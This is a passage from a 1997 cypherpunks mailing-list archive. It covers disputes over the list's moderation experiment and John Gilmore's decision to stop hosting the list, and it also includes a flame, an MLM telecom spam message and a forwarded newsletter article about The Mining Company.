> person alone. As Pogo said, it's all of us, posters and lurkers and spooks,
> each trying to get one's way to prevail, under guise of a high principle not
> easily honored when the squeeze is on alone in a dark cell. Come on out
> Sandy, it was just a drill.

Well, he claims he's not censoring anymore.  If you believe that,
you're probably waiting for the Easter bunny.

> It's probably worth saving accusations of censorship for the real thing,
> after trial usage here for what is truly nasty high-stakes global info-war
> gaming.

Blah blah blah blah.  Bottom line is this:  "Moderation" is really
censorship.  You can go on with this "plausible denial" all you
want to, but the jig is up, so to speak.  They've been caught being
sneaky and deceptive with people's mail.  Naughty naughty.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:42:37 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Who's Censoring Who?
Message-ID: <199702111442.GAA20339@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> To Thorn and Cuckoo (great juxtaposition):
> Your exhortation and rhetoric are deft, but I'm not ready to take
> sides just yet. In fact, I can't figure what the sides are, if any, in this
> anti-herd of caterwauling anarchic cats.
> Instead, I'm relishing and laughing at the spitting and farting contest,
> and hoping this gameboying will prepare for the genuinely tough
> battles in high stakes info-wargames.
> There, wipe and sniff that exhort and rhet.

I don't want to make any suggestions about having a clue or whatever,
but just in case you didn't know, John, I'm not censoring anything,
nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers
to this list.  It is all being done by a central "authority".

Now you can't figure out who's on what side?  Or you just can't
decide who to line up with?  In case you hadn't noticed, the
censorship has been admitted a failure, although the denial from
the central "authority" is so thick that some folks on the list
will be hoping for Santa to come save them for some time to come.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 06:41:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Who's Censoring Who?
Message-ID: <199702111441.GAA20227@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


To Thorn and Cuckoo (great juxtaposition):

Your exhortation and rhetoric are deft, but I'm not ready to take 
sides just yet. In fact, I can't figure what the sides are, if any, in this
anti-herd of caterwauling anarchic cats.

Instead, I'm relishing and laughing at the spitting and farting contest, 
and hoping this gameboying will prepare for the genuinely tough 
battles in high stakes info-wargames. 

There, wipe and sniff that exhort and rhet.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Tue, 11 Feb 1997 06:26:24 -0800 (PST)
To: "'Timothy C. May'"    <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=tcmay+40got+2Enet+3B@chemson.com>
Subject: RE: remailer-operators DEA agents?
Message-ID: <199702111426.GAA19810@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>
>Again, I am only on the Flames list. So why was this message sent to the
>Flames list? Because someone responded to a Vulis post? Is a response to a
>Banned Message now grounds for rejection?
>
After whinghing about Dimitri and about people sending flames to the
list, you only subscribe to the flames-list.... you just don't make
sense Timmy.


Scott






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Tue, 11 Feb 1997 06:26:39 -0800 (PST)
To: "'Sandy Sandfort'"    <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=sandfort+40crl8+2Ecrl+2Ecom+3B@chemson.com>
Subject: RE: MODERATION
Message-ID: <199702111426.GAA19859@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy writes:
>
>C'punks,
>
>I'm ending my participation in the moderation of the list. 

Well  that was short and ..... errr  bitter!

> It would have been an interesting experiment if list members had 
>been open minded enough to give it a good faith effort. 
              ^^^^^^^^^^^^^^^ 

There's a difference between being open minded and gullible Sandy.
Nothing like ducking and running away when your little game didn't turn
out the way that you wanted it to!

This is not a flame, it is my opinion but none the less I'm sure that it
will end up in the flames list or be conveniently lost in the masses of
mail that John's majordomo receives every day.


Scott.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omex@cyberservices.com
Date: Sun, 16 Feb 1997 14:42:01 -0800 (PST)
To: drwires@ezdial.com
Subject: NEW "Black Box" Technology!!
Message-ID: <199702162242.OAA05007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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put together by a highly seasoned group including MAJOR 
individuals in the Telecom industry. They have selected 
Kerry J. Young, a skilled executive and administrator, to be 
President and CEO.  They have also assembled a blue ribbon 
support team headed by a top level executive from one of the 
"big three" telephone companies.  This combined powerhouse 
of high-level Telecom experience, management, administration, 
marketing and financial depth promises to  make GCT one of 
the world's premier telecommunications companies.

Their mission: To create the world's largest MLM network to 
deliver advanced Telecom technology at the most competitive 
price.  In short, they plan on delivering products that will stand 
the industry on its ear!

2. GCT has set up a 24-hour information line: 415-273-6121.  
Call it NOW!  It is powerful.  It will introduce several of the 
key players and answer questions about the products, how 
they work and how our business will be structured.

3. The company has announced the official launch date: Monday, 
March 3, 1997. On Saturday, the 15th of March, GCT will be 
holding simultaneous training's/meetings in eight cities across the 
United States.  The locations are: Atlanta + Chicago + Dallas + 
Honolulu + Los Angeles + Orlando + Seattle + Washington, DC.   
The company will add additional cities as you indicate your 
preference.  Seating is extremely limited and must be reserved in 
advance by calling an 800# which will be made available within 
a few days on the GCT hotline.  Price: $59 - includes Distributor 
Kit!

4. What will we be offering?  We will have a FULL RANGE 
of products -- with far more advanced technology and far better 
pricing than is currently being offered by the several, hastily 
launched GCT wannabees.  The first products announced 
include a prepaid calling card at 9.9 cents per minute, long 
distance service at 7.9 cents and WE HAVE the long awaited 
"black box" technology! It comes in three versions (from basic 
to advanced) and will wholesale: $39 - $69.  In addition, there 
are several more advanced products which will be brought into 
our portfolio.  As more information becomes available, it is 
increasingly clear: We are poised to bring the world what 
everyone has been promised  -- but ONLY WE CAN DELIVER!

6. Beware of other companies who have attempted to preempt 
GCT by implying they can duplicate the various products that 
we already have on board.  This program is not merely an 
application form and compensation plan offering a single, 
7.9 cent product.  GCT is a major new Telecom company 
assembling a full range of leading edge telecommunications 
technology.   The success of this program requires the contacts 
and know-how of the Telecom industry that can only come from 
years of experience at the highest levels.  Bringing these 
exceptional products to market is not a project for well-meaning 
amateurs.  

7. The only way to participate in the program described 
above is to join GCT. They are the ONLY COMPANY with 
the contracts in hand, technical skill and telecommunications 
experience to deliver.  Global Connections is a group of very 
experienced marketers and networkers who have an Independent 
Distributorship positioned directly at the top level of GCT.

8. We are signing up the frontline on Monday & Tuesday...  I can place you on the top levels... 

Email me for registration form at: omex@cyberservices.com

Put "BLACK BOX" in the subject box.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 06:43:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: this has gone on long enough
Message-ID: <199702111443.GAA20382@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


As of sometime in the last 96 hours I have been forcefully unsubscribed from
this list.  This action was not of my free will and not one that I think was
perpretrated by those in charge of the list.  (I got a response from
majordomo concerning who was on and my name wasn't)
As I have heard from, and replied to some, others who were forcefully
subscribed to cypherpunks, I can only assume that this is part of the same
campaign.
Please send me any copies of majordomo activity involving my address that
was sent in the last 96 hours so that I can determine the culprit myself.
I had no intention of removing myself from the list and intend to maintain a
member, at least until a superior system with sufficient load is developed.
As I just now resubscribed to the list (unedited, although I know that the
moderation experiment has ended), I may not see any immediate replies, so
please cc me.
As to my check with majordomo, I was not checking to see if I had been
unsubscribed, but to see if the unedited list still existed.  since I
stopped receiving mail shortly after, I assumed, falsely, that the unedited
list subscribers had been merely dropped.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 06:42:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: this has gone on long enough
Message-ID: <199702111442.GAA20295@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:00 PM 2/10/97 -0800, I wrote:
>As of sometime in the last 96 hours I have been forcefully unsubscribed from
>this list.  This action was not of my free will and not one that I think was
...
I forgot to check my mail before sending this.  This is not to say that
there was mail there, merely that eudora verifies mail by password.  Since I
had not checked my mail, the last message was unverified.  This is to verify it.
I sent it, I admit it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST)
To: Sean Roach <gnu@toad.com
Subject: Re: this has gone on long enough
Message-ID: <199702111443.GAA20400@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach said:
> As of sometime in the last 96 hours I have been forcefully unsubscribed from
> this list.  This action was not of my free will and not one that I think was
> perpretrated by those in charge of the list.

Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
epidemic on the list these days.

I removed your address from the mailing list because it was producing
a bounce message for every message to cypherpunks.  I regularly 
remove addresses when this occurs; the alternative is to receive
thousands of bounce messages each day from non-working addresses.
I'll append the set of addresses that I removed on the same day
as you, for your edification.

I'll also enclose one of the bounces.

If you fix your mail so it doesn't bounce, you are welcome to
re-subscribe.

	John Gilmore

1997/2/9 - gnu - bounces
snowdog@iconn.net (cp-ann)
se03565@els.url.es (cp-ann)
drjarmon@ingr.com (cp-ann)
ycz@alpha4.cs.nthu.edu.tw
yu123110@yorku.ca
bishop.trish@sympatico.ca
106076.1155@compuserve.com (by request)
security@harter.pg.md.us
omega@bigeasy.com
roach_s@alph.swosu.edu (cp-unedited)
lupus@hempseed.com (cp-ann)
THRPWC@smtpgate.lfwc.lockheed.com
al.tan@usa.net
vickeryk@tyrell.net
crash@eramp.net
phreaker@scholars.bellevue.edu
alexc@firefly.net
malaficia@mindspring.com
BadAppleDH@aol.com
otsge_mail@usa.net (for bounces re mecca_inc@msn.se)
under@ground.net


>From MAILER-DAEMON Sun Feb  9 20:03:36 1997
Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST)
Message-Id: <199702100403.UAA17045@toad.com>
Date:     Sun, 9 Feb 1997 22:03:48 -0600 (CST)
From: Postmaster@alph.swosu.edu
Subject:  Undeliverable Mail
To: <cypherpunks-errors@toad.com>

Bad address -- <roach_s>
Error -- Message too old: 
    %MAIL-E-SENDERR, error sending to user ROACH_S
    -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI
    -RMS-E-EXT, ACP file extend failed
    -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
    -PLI-F-NOMSG, Message number 001EBB8C

Start of returned message

  Received: from toad.com by alph.swosu.edu with SMTP;
            Sun, 9 Feb 1997 18:03:43 -0600 (CST)
  Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA11855; Sun, 9 Feb 1997 15:55:29 -0800 (PST)
  Received: from mail.pacifier.com (root@mail.pacifier.com [199.2.117.164]) by toad.com (8.7.5/8.7.3) with ESMTP id PAA11850; Sun, 9 Feb 1997 15:55:26 -0800 (PST)
  Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250])
            by mail.pacifier.com (8.8.5/8.8.4) with SMTP
  	  id PAA12294 for <cypherpunks@toad.com>; Sun, 9 Feb 1997 15:55:23 -0800 (PST)
  Message-Id: <199702092355.PAA12294@mail.pacifier.com>
  X-Sender: jimbell@mail.pacifier.com
  X-Mailer: Windows Eudora Light Version 1.5.2
  Mime-Version: 1.0
  Content-Type: text/plain; charset="us-ascii"
  Date: Sun, 09 Feb 1997 15:53:43 -0800
  To: cypherpunks@toad.com
  From: jim bell <jimbell@pacifier.com>
  Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
  Sender: owner-cypherpunks@toad.com
  Precedence: bulk
  
  I'm forwarding this from the commonlaw list because of the usage of the 
  name, "cypherpunks."
  ...  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 11 Feb 1997 06:43:12 -0800 (PST)
To: 2ndSun@bigfoot.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111443.GAA20370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> You're giong to have to find a way to get me off of your piss-ant mailing
> list.

Ecouter et repeter: "going"
                              
Now, if you didn`t have shit for brains you would have followed the 
instructions I sent you last time on how to unsubscribe from the 
cypherpunks mailing list. However, as you evidently have no wit or 
intelligence whatsoever, nor do you seem able to comprehend 
anything phrased in standard English here are the instructions in 
moron.


To unsubscribe from the piss-ant motherfuckers mailing list you are 
giong to have to dooo teh folwoing:

Send a piss-ant message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks 2ndsun@bigfoot.com

Either this or contact postmaster@bigfoot.com and ask him to mailkill 
all mailing list traffic for you.





  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 06:43:15 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: this has gone on long enough
Message-ID: <199702111443.GAA20380@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:42 PM 2/10/97 -0800, John Gilmore wrote:
>Sean Roach said:
>> As of sometime in the last 96 hours I have been forcefully unsubscribed from
>> this list.  This action was not of my free will and not one that I think was
>> perpretrated by those in charge of the list.
>
>Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
>epidemic on the list these days.
>
>I removed your address from the mailing list because it was producing
>a bounce message for every message to cypherpunks.  I regularly 
>remove addresses when this occurs; the alternative is to receive
>thousands of bounce messages each day from non-working addresses.
>I'll append the set of addresses that I removed on the same day
>as you, for your edification.
>
Thank you for the explanation.  I had discounted this as a reason as I
normally get some warning from the VAX before something like this would be a
threat.  (My mail won't compress and I have to go in and do it manually.)  I
had assumed that since I had no trouble with compression that that wasn't
the answer.  I apologise for jumping to conclusions and I hope that I can
check my mail more often.  (Only a real hassle during weekends when I am
called home from school.)
Thanks again for the reassurance.

BTW, now that the moderation experiment is over, how do you intend to
integrate the lists?  Are you going to combine them?  Are you going to run
them through a filter to eliminate duplications?  Are you going to give any
warning before the unedited list is eliminated?  (no longer needed, since
the main list is now a duplicate.)

Thanks again, I am naturally suspicious.  That's "one" of the reasons that I
subscribed to this list to begin with.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 06:41:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: ping
Message-ID: <199702111441.GAA20260@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ping


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 11 Feb 1997 06:41:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: BCQ B/\ACTb COBKAM!!!
Message-ID: <199702111441.GAA20217@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


COBKU rule!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Tue, 11 Feb 1997 06:44:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptography WWW Siteguide wanted.
Message-ID: <199702111444.GAA20478@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Mining Co. (http://www.miningco.com) is looking
for "siteguides".

There will surely be a guide needed for cryptography.

Pay is commensurate with hit volume, but it isn't too shabby,
at about 3K per month after about a year.

There is the original posting from Sideman's Online Insider following
this post to acquaint you with the particulars.

Good Luck to whomever from this list (for I'm sure someone will) 
takes the aformentioned position. I would, but I'm applying for a 
different site in the Culture/Beliefs section.

On one other note, the PGP Plugin for Eudora is MARVELOUS!
THIS I can even teach a clueless newbie!

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8
q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG
CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI
i962UdPbyVs=
=69D8
-----END PGP SIGNATURE-----

==========================================================================
                Seidman's Online Insider - Vol. 4, Issue 6
     Brought to you by NetGuide Magazine< http://www.netguide.com >
==========================================================================

Copyright (C) 1997 Robert Seidman and CMP Media Inc.  All rights reserved.
May be reproduced in any medium for noncommercial purposes as long as
attribution is given.


Kurnit is Back and Mining the Internet
======================================

  "Like Arnold, he'll be back. I've been listening to what
he has to say for a long time. If you listen to him, you'll
hear how the Web is the way and that the proprietary services
are a dead model. If you listen between-the-lines, you'll hear
a modified version of that vision. A best of both worlds
vision. You'll hear that he wants to develop easy to use,
functional services on the Web. Like easy to use chat.
Like easy to use bulletin boards.

Like AOL, but on the Web."

-Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp
joint venture from Seidman's Online Insider for the Week Ending February
9, 1996.

Kurnit's back, and almost exactly a year to the day since the clip above
was written.  On Monday February 10, the new company Kurnit founded, The
Mining Company, will announce their plans to basically build AOL on the
Web.  I'm not sure about the choice of February 10 as the day to announce
this.  It is a day with special significance for me.

On February 10, 1972 I had a dilemma.  I was hungry for breakfast and
wanted some cereal.  I had cereal, but no milk.  So I called my mom at
work and asked her if I could run across the street to the convenience
store.  My mom said no because "the street" was more like a highway and
because I was 9 years old.

"You'll get hit by a car," my mom said.  As you might imagine, I went
anyway.  And as you also might have guessed by now my mother was right,
except no car was good enough for me.  I had to face off with a
ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.)
Twenty-two stitches in the head, a healed broken wrist and 25 years later,
I'm still hanging in there.  I don't remember anything about it, including
seeing the truck.  I've always wondered if I was pushed.  What I do
remember was waking up in the ambulance with quite a headache.  But since
then, seeing how I lived and all, I've always viewed February 10 as a GOOD
day.

The Mining Company may not be a truck setting its sights on running down
AOL or even other Web content aggregators (even to some degree NetGuide
Live), but it is an interesting model.

*What It Is*

In effect, The Mining Company wants to be the biggest online service on
the Web, ultimately offering 4,000 special-interest areas in an
integrated, easy-to-use interface.  Whether you call these special areas
channels, departments or categories -- it's all the same thing.  Kurnit
wants to capitalize on the fact that it takes too long to find what you
want on the Net.  He wants to put it all in one place with one consistent
interface so that you can easily find what you're looking for and interact
with those who have common interests.

Each "channel" will have content, bulletin boards, online chats, links to
other good stuff on the Web in the particular area of interest.  You'll
also be able to search a site via Verity's search engine or search the
entire Net via Digital's Alta Vista.

While they are currently testing another chat product, they have decided
to move to the iChat chat client.

In the test system I had access to, the bulletin board system was very
easy to use, but painfully slow.  I'll cut them some slack since they are
still in beta, but users will need to be able to move around the boards
quicker than what I experienced or they will likely be put off.

*And Now for Something Really Different*

When Kurnit first ran the vision by me a couple of weeks ago, I said "To
me it seems like this is..."

"AOL on the Web," Kurnit interrupted.

"Not exactly," I said, "It's like AOL on the Web with a hint of Amway
thrown in."

One of the problems with providing editorial context for the Net is that
it winds up costing a lot of money.  Kurnit's previous venture with
MCI/Newscorp was iGuide.  They built a great guide to the Net, but
ultimately they scaled it back to just become a guide to entertainment on
the Net.  You've read the reports all over the place about scaled back
editorial efforts and rightsizing.  Good editorial doesn't come cheap, at
least not when done traditionally.

The Mining Company isn't going after the traditional model of hiring a
bunch of full-time editors and bringing them in house.  They plan to use
folks already out there on the Net.

Once upon a time while I was at IBM, I helped recruit Chris Locke, of
MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was
running.

While there are many things Chris and I do not agree on, I was very much
in synch with Chris when it came to the idea of communities of interest on
the Web.  Give remote people the tools to produce the content, Locke would
say, and you'd be able to easily build hundreds if not thousands of
communities of interest very inexpensively.  Locke who is now with a
hardware company in Colorado will no doubt take interest in what Kurnit
and the gang at The Mining Company are up to, because they are all about
providing the tools to produce the communities of interest inexpensively!
If your chosen as one of its forum moderators (they call them Guides),
you'll be given access to all the tools you need to build a site on the
service.

Now you may be thinking, "Ah, GeoCities does that already!"  GeoCities
< http://www.geocities.com > gives free web pages and is organized around
certain communities of interest.  But their homesteader program is not
about setting up an all-encompassing online service.  And while it is a
great place to create a free web page, there's no real business model for
the person creating the page.  If you build a great site there, GeoCities
gets the revenue on all the traffic that goes there.  Because it has a lot
of traffic, GeoCities can send some traffic to your Web site.  But in the
end, the model for GeoCities is one to give you a free page on the Web.
This is good for you if you're just in it for the fun of it, and good for
GeoCities too.   I think GeoCities is great, but if I am looking for
something in particular, I wouldn't think to look there first.  The Mining
Company wants to create a space that no matter what it is you hope to
find, you'll look there first.

*They Call them Guides*

The Mining Company wants to create quality communities of interest.  And
for every community (channel) created, there will be a unique
moderator/editor.  The Mining Company calls them Guides.  It's looking for
more than just a few quality folks to become Guides and form their
service.  Starting Monday, they will begin accepting applications to
become Guides on the  service. There could be multiple sites about the
same thing during the start-up phase, but  ultimately it will be whittled
down to one Guide/site per special interest.

To ensure quality, they'll be a review committee set-up to make sure
quality standards are up to snuff, including some folks from the community
of Guides.  Kurnit believes between that, the natural inclination for
other Guides to point out areas of, um, weakness and user feedback,
they'll have a good handle on quality.

Additionally, there will be some in-house editorial to oversee major
groupings (like Technology, Personal Finance, etc.)

"The Mining Company is dedicated to serving the needs of its Guides and
users," said Kurnit.  "We give the tools and support to the Guides to help
users find what they want, trust what they find, and connect them with the
most valuable sites on the Net and with other interesting people."

"This model is now only possible because of the team effort at The Mining
Company to integrate the latest improvements in Internet technology and
the newly identified needs of users and independent Web producers," adds
Kurnit.


*Getting the Guides*

Will it be easy to get the ultimately thousands of Guides necessary to run
this service?

"How much talent is out there," asks Kurnit.   "We look at the thousands
of pages out there on AOL, GeoCities, etc., and the rest of the Internet,"
Kurnit said.  "All we think we need to get is 2%-3% of the talent pool."

In certain areas it will likely be very competitive.  Everyone will want
to get there first.

"First there's the application process," said Scott Kurnit in a phone
Interview.  "You're going to show us your bio and you're going to write
some columns so we can see your writing style.  If you make the grade, you
make it to our orientation process," Kurnit said.

The Mining Company places its focus on training the Guides and giving them
the tools they need to make a site.   If you "make the grade" you
basically have 3 weeks (2 of which are the "orientation") to get a site
up-and-running on the service.

"The fact is, if you can't get it done in a reasonable time then you
probably don't have the dedication or time to get it done," says Kurnit.

Just how much time will it take for Guides to put together sites?  "We're
not looking for anyone to quite their day jobs," said Kurnit.  "We're
looking at about a 10 hour a week commitment to produce the sites."  But
Kurnit also says  that though there will be only one Guide per site, the
Guides will be able to line up assistants.



*What's in it for You?*

So why The Mining Company then?   Why not GeoCities or doing it on your
own?  Well, there are a couple of reasons.  One is the promise of
exposure, the other is the promise of MONEY.

There is a model here, especially if you're not looking to quit your day
job.  While I imagine it will have to shift its model somewhat, there are
some opportunities to make a buck or two for the Guides.  It might not be
much money, but if you're already throwing 10 hours or so a week towards
maintaining a Web page that lines up around a special interest or two, any
money is better than what you're probably getting now.

Basically, The Mining Company is looking to allocate 40% of all
advertising revenues back to the Guides themselves.  The real pool here is
30%, with the additional 10% being used for things like bonuses.  So, how
does it work?

Kurnit is looking to get quickly to a million or so page views a day (each
of the pages I saw had 2 advertisements.  By the end of the year, Kurnit
hopes to be in the 10 million - 15 million page views.  It sounds a little
ambitious, but if they're successful lining up quality Guides, it could
become a reality.  So let's say they're getting 5 million page views per
day.  Based on what I saw, that would net out to be about 300 million ads
running per month.

Lets say ad sales average out to $30/1000 (a $30 CPM).  Based on that,
you're looking at a cool $9 million a month in advertising revenue.  So
$3.6 million is in the Guide pool, but only $2.7 million is for the true
revenue split.  Now, let's say you're a Guide who got one-tenth of 1
percent of The Mining Company's overall traffic. You'd make a cool $2,700
a month for your efforts.  If you happen to be a guide in one of the
"killer categories" whether it be a parents site or a kids site or a
computing site, it's not unreasonable to think that you might get as much
as 1%.  That would be $27,000 per month!!

Some people will balk at the 40%-60% share, but I think that's pretty
fair.  Where I'd predict the model will have to change, however, is in the
cases where the cost per thousand (CPM) view being charged the advertisers
is much higher than the average of the overall site.  If the overall site
average is $30/1000, but your site is generating a CPM of around $90,
you're probably not going to want to be paid based on averages.

*Will it Work?*

In short, I think this could work quite nicely.  The premise of a front
door that links to content that is all packaged with a consistent look and
feel is a winning premise.   With AOL's recent move to flat-fee, one big
advantage a Net service has over a proprietary model like AOL is the
ability to create content far more easily and inexpensively. Much coverage
has been given this week regarding AOL beginning to charge its partners in
its Company Connection a $55,000 fee each year to participate.

Some in AOL are saying its reasonable since the areas amount to "free"
advertising for the companies, but realistically speaking, I think it is a
maintenance fee AOL is charging to offset the cost of dealing with these
forums.  I think it is reasonable to expect to see AOL begin to charge
similar fees for any content that isn't "must have" for them, now that the
hourly charges that once subsidized these areas are gone.  There is a cost
of throwing in-house support at these online areas and much of the cost is
due to the fact that it's a proprietary system.  Setting up new "forms"
and new looks just isn't easily accomplished by the content providers
themselves.  So, the timing may be good for The Mining Company.

There are at least two tricks Kurnit and Co. must pull off.  First, they
have to get the Guides.  That starts on Monday, when they begin accepting
applications.  The next will be to market the site in a way that gets
people to the front door.   Internet of the people, for the people and by
the people, it has a nice ring to it...  I'm sure we'll hear more about
this when the site officially launches in April.

For more info, check out < http://www.miningco.com >, sometime on Monday,
they will make a lot more information available there than the "coming
soon" that was there as of this writing.
Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 11 Feb 1997 06:42:28 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Metzger, Denninger square off
Message-ID: <199702111442.GAA20326@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 01:24 PM 2/7/97 -0500, you wrote:
> [the proposed new TLDs]
> .web    Actually a good idea :) A lot of the .com congestion is
>         from companies that are virtually-hosted for the sole
>         purpose of running a Web site with the www. prefix.

     This one might not work. There are a lot of people who seem to think that
you need a www.---.--- to get netscape to work.

> .nom    Nah. Just not classy enough.  Now, a .nym TLD... :-)

     I think they should use .vain. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 05:40:52 -0800 (PST)
To: gnu@toad.com
Subject: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111340.FAA18604@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer.  He never anticipated that he wouldn't be able to
follow his announced "post it to one list or the other" policy because
to do so would make him legally liable (in his opinion; he's a lawyer,
I'm not).  His gears jammed, and the whole machine came to a halt for
a few days.

Sandy has agreed to continue moderation through the end of the
original 1-month experiment (through Feb 19).  And it's a good thing,
too, because the "cypherpunks community" had better get off its
whining butt in the next ten days, or it will no longer exist.

I've come to the conclusion that I'm not willing to host the
cypherpunks list any more.  It's not the true assholes that brought me
to this decision; it's the reaction from the bulk of people on the
list: suspicion, flamage, and criticism with every attempt to improve
things.  I noticed few people volunteering some of their own time,
money, or machines to help out.  Almost all the suggestions were
advice for *other* people to implement:

                One would have thought that had Sandy and John really
    been interested in hearing the views of list members, this approach would
    have eventually won out.

    a supposedly libertarian and anarchistic group of people has decided
    that censorship is the right solution to their problems.

							I'd prefer
    for the cypherpunks _name_ not be associated with a moderated/censored
    list. (I mean no insult to either Sandy or John in this, BTW... I
    simply think that they've gone about this the wrong way.

    If one is going to advocate free speech, I strongly suggest one
    learns to deal with one's own greed and one's own need for power
    first.

    For those who want it, let someone moderate the list for as long as
    they care to do it. Approved messages get a "X-sandy-approved"
    header.

    ... the vast majority are still shipped out as 'Sender:
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed
    out in my original post). to me that is piss poor list management.

        however you slice it, censorship on a freedom of speech list
    just does not make it and we make fools of ourselves if we think
    otherwise.

Now each of these posters will get their chance to do it "right" --
on their own time and with their own resources.

A large fraction of the list seems to think that "freedom of speech"
means that everyone is required to listen to everyone else at all
times.  That there can't be focused, topical conversations in a
society that has freedom of speech.  I would say the opposite; part of
freedom of speech is the freedom to choose to whom we speak and to
whom we listen.  This is part of what cryptography does: lets us
control who can receive our speech, and lets recievers determine who
the speaker is.

There also seems to be a misunderstanding that freedom of speech
requires that people who want to speak already have a place, set up
and maintained by someone else, for them to speak in.  If someone
who's set up a speech-place decides it isn't being used for its
intended purpose, then they are a censor, stopping all possibility of
conversations.  Did you forget that there are millions of other places
to speak in cyberspace, millions more in realspace, and that you can
personally create more if you don't like any of the ones you know about?
To paraphrase Zappa, you wouldn't know censorship if it bit you on the
ass.  You think you're being censored when you're just being excluded
from a forum because what you're saying isn't interesting to that forum.

So anyway, I'm tired of it all.  I'd much rather focus on getting my
crypto work done than babysitting majordomo, tracking down attempts to
